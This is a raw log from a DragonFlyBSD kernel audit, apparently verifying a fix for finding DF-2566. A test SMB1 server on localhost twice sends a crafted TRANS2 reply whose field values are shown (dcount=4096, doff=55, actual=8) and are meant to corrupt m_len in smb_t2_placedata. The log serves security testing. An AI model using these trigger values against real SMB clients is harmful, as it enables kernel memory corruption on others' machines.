DragonFlyBSD Kernel Audit
DF-2566 / fix_run.log
← back to finding ↓ download raw
[srv] malicious SMB1 server listening on 127.0.0.1:139
[srv] client connected
[srv] NBSSN request type=0x81 len=68 -> POSRESP
[srv] recv cmd=0x72 pid=1 tid=65535 uid=65535 mid=0 len=164
  [srv] send 69-byte SMB (cmd=0x72)
[srv] recv cmd=0x73 pid=1 tid=65535 uid=65535 mid=1 len=92
  [srv] send 41-byte SMB (cmd=0x73)
[srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=2 len=65
  [srv] send 47-byte SMB (cmd=0x75)
[srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=4 len=65
  [srv] send 47-byte SMB (cmd=0x75)
[srv] recv cmd=0x32 pid=1 tid=65535 uid=65535 mid=3 len=83
[srv] *** MALICIOUS TRANS2: dcount=4096 doff=55 actual=8 -> smb_t2_placedata m_len corruption
  [srv] send 63-byte SMB (cmd=0x32)
[srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=6 len=65
  [srv] send 47-byte SMB (cmd=0x75)
[srv] recv cmd=0x34 pid=1 tid=65535 uid=65535 mid=5 len=37
  [srv] send 35-byte SMB (cmd=0x34)
[srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=8 len=65
  [srv] send 47-byte SMB (cmd=0x75)
[srv] recv cmd=0x32 pid=1 tid=65535 uid=65535 mid=7 len=83
[srv] *** MALICIOUS TRANS2: dcount=4096 doff=55 actual=8 -> smb_t2_placedata m_len corruption
  [srv] send 63-byte SMB (cmd=0x32)
[srv] recv cmd=0x75 pid=1 tid=65535 uid=65535 mid=10 len=65
  [srv] send 47-byte SMB (cmd=0x75)
[srv] recv cmd=0x34 pid=1 tid=65535 uid=65535 mid=9 len=37
  [srv] send 35-byte SMB (cmd=0x34)
[srv] client done